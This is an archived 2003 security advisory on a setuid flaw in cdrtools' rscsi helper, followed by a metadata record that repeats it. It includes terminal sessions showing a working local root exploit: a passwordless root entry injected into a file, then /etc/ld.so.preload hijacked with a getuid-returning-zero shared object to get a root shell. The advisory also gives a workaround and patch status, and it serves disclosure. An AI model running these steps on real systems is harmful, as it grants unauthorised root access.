ID PACKETSTORM:31481 Type packetstorm Reporter Kevin Finisterre Modified 2003-08-05T00:00:00
Description
`Secure Network Operations, Inc. http://www.secnetops.com
Strategic Reconnaissance Team research@secnetops.com
Team Lead Contact kf@secnetops.com
Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion
Detection Systems (IDS), Software Security Validation, and
Corporate/Private Network Security. Our mission is to facilitate a
secure and reliable Internet and inter-enterprise communications
infrastructure through the products and services we offer.
Quick Summary:
************************************************************************
Advisory Number : SRT2003-08-01-0126
Product : cdrtools (rscsi)
Version : Version <= cdrtools-2.x
Vendor : ftp://ftp.berlios.de/pub/cdrecord/
Class : local
Criticality : High
Operating System(s) : *nix
High Level Explanation
************************************************************************
High Level Description : suid rscsi overwrites root owned files
What to do : chmod -s /opt/schily/sbin/rscsi
Technical Details
************************************************************************
Proof Of Concept Status : SNO has PoC code for this issue
Low Level Description :
Cdrecord supports DVD-R and DVD-RW with all known DVD-writers on all UNIX
like operating systems and on Win32.
A setuid helper binary allows files to be overwritten by non root users.
One side effect of the overwritten file is that the permissions become
writable by the user calling the rscsi program. These issues can allow a
non root user to take local root on the machine that has cdrtools installed
Initial attempts to exploit this issue failed for an unknown reason... this
however may still be a valid method of attack. We make use of the first
argument passed to rscsi in order to choose the file we wish to write to.
Due to the output from rscsi we make use of 0x08 in order to delete some of
the characters that otherwise would be written. This attack method relys on
placing a line of text at the end of a file. Please note that 2 other lines
of garbage will be placed in the file which may cause other issues.
elguapo@gentoo elguapo $ echo C`echo -e
"\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` |
/opt/schily/sbin/rscsi /tmp/lala
Segmentation fault (this segfault is not related to the security issue)
elguapo@gentoo elguapo $ cat /tmp/lala
rscsid: user id 1000, name elguapo
rmt: stdin is a PIPE
r00t::0:0:root:/root:/bin/bash
When attempting to echo this line to the password file we get the following
error. Please note that the password file IS still overwritten at this point.
E0
Illegal user id for RSCSI server
0
elguapo@gentoo elguapo $ cat /etc/passwd
rscsid: Illegal user '(NULL POINTER)' id 1000 for RSCSI server
rscsid:>E 0 (Illegal user id for RSCSI server) []
We DO however have other exploitation options such as the one listed below.
[kf@vegeta kf]$ ls -al /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
[kf@vegeta kf]$ cat > oops.c
int getuid(void)
{
return(0);
}
[kf@vegeta kf]$ gcc -c -o oops.o oops.c
[kf@vegeta kf]$ ld -shared -o oops.so oops.o
[kf@vegeta kf]$ ls -al oops.so
-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops.so
[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload
E0
Garbage command
0
Note that we now have write permissions to /etc/ld.so.preload
-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld.so.preload
Time to take root
[kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload
[kf@vegeta kf]$ su
[root@vegeta kf]# rm /etc/ld.so.preload
rm: remove regular file `/etc/ld.so.preload'? y
[root@vegeta kf]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Patch or Workaround : chmod -s /opt/schily/sbin/rscsi
Vendor Status : patched in cdrtools-2.01a18.tar.gz
Bugtraq URL : to be assigned
------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.
`
{"id": "PACKETSTORM:31481", "type": "packetstorm", "bulletinFamily": "exploit", "title": "SRT2003-08-01-0126.txt", "description": "", "published": "2003-08-05T00:00:00", "modified": "2003-08-05T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/31481/SRT2003-08-01-0126.txt.html", "reporter": "Kevin Finisterre", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:16:54", "viewCount": 0, "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2016-11-03T10:16:54", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:16:54", "rev": 2}, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/31481/SRT2003-08-01-0126.txt", "sourceData": "`Secure Network Operations, Inc. http://www.secnetops.com \nStrategic Reconnaissance Team research@secnetops.com \nTeam Lead Contact kf@secnetops.com \n \n \nOur Mission: \n************************************************************************ \nSecure Network Operations offers expertise in Networking, Intrusion \nDetection Systems (IDS), Software Security Validation, and \nCorporate/Private Network Security. Our mission is to facilitate a \nsecure and reliable Internet and inter-enterprise communications \ninfrastructure through the products and services we offer. \n \n \nQuick Summary: \n************************************************************************ \nAdvisory Number : SRT2003-08-01-0126 \nProduct : cdrtools (rscsi) \nVersion : Version <= cdrtools-2.x \nVendor : ftp://ftp.berlios.de/pub/cdrecord/ \nClass : local \nCriticality : High \nOperating System(s) : *nix \n \n \nHigh Level Explanation \n************************************************************************ \nHigh Level Description : suid rscsi overwrites root owned files \nWhat to do : chmod -s /opt/schily/sbin/rscsi \n \n \nTechnical Details \n************************************************************************ \nProof Of Concept Status : SNO has PoC code for this issue \nLow Level Description : \n \nCdrecord supports DVD-R and DVD-RW with all known DVD-writers on all UNIX \nlike operating systems and on Win32. \n \nA setuid helper binary allows files to be overwritten by non root users. \nOne side effect of the overwritten file is that the permissions become \nwritable by the user calling the rscsi program. These issues can allow a \nnon root user to take local root on the machine that has cdrtools installed \n \nInitial attempts to exploit this issue failed for an unknown reason... this \nhowever may still be a valid method of attack. We make use of the first \nargument passed to rscsi in order to choose the file we wish to write to. \n \nDue to the output from rscsi we make use of 0x08 in order to delete some of \nthe characters that otherwise would be written. This attack method relys on \nplacing a line of text at the end of a file. Please note that 2 other lines \nof garbage will be placed in the file which may cause other issues. \n \nelguapo@gentoo elguapo $ echo C`echo -e \n\"\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08r00t::0:0:root:/:/bin/bash\\x0a\"` | \n/opt/schily/sbin/rscsi /tmp/lala \nSegmentation fault (this segfault is not related to the security issue) \n \nelguapo@gentoo elguapo $ cat /tmp/lala \nrscsid: user id 1000, name elguapo \nrmt: stdin is a PIPE \nr00t::0:0:root:/root:/bin/bash \n \nWhen attempting to echo this line to the password file we get the following \nerror. Please note that the password file IS still overwritten at this point. \n \nE0 \nIllegal user id for RSCSI server \n0 \n \nelguapo@gentoo elguapo $ cat /etc/passwd \nrscsid: Illegal user '(NULL POINTER)' id 1000 for RSCSI server \nrscsid:>E 0 (Illegal user id for RSCSI server) [] \n \nWe DO however have other exploitation options such as the one listed below. \n \n[kf@vegeta kf]$ ls -al /etc/ld.so.preload \nls: /etc/ld.so.preload: No such file or directory \n \n[kf@vegeta kf]$ cat > oops.c \nint getuid(void) \n{ \nreturn(0); \n} \n \n[kf@vegeta kf]$ gcc -c -o oops.o oops.c \n[kf@vegeta kf]$ ld -shared -o oops.so oops.o \n[kf@vegeta kf]$ ls -al oops.so \n-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops.so \n \n[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld.so.preload \nE0 \nGarbage command \n0 \n \nNote that we now have write permissions to /etc/ld.so.preload \n-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld.so.preload \n \nTime to take root \n[kf@vegeta kf]$ echo /home/kf/oops.so > /etc/ld.so.preload \n[kf@vegeta kf]$ su \n[root@vegeta kf]# rm /etc/ld.so.preload \nrm: remove regular file `/etc/ld.so.preload'? y \n[root@vegeta kf]# id \nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) \n \nPatch or Workaround : chmod -s /opt/schily/sbin/rscsi \n \nVendor Status : patched in cdrtools-2.01a18.tar.gz \n \nBugtraq URL : to be assigned \n \n------------------------------------------------------------------------ \nThis advisory was released by Secure Network Operations,Inc. as a matter \nof notification to help administrators protect their networks against \nthe described vulnerability. Exploit source code is no longer released \nin our advisories. Contact research@secnetops.com for information on how \nto obtain exploit information. \n \n \n`\n"}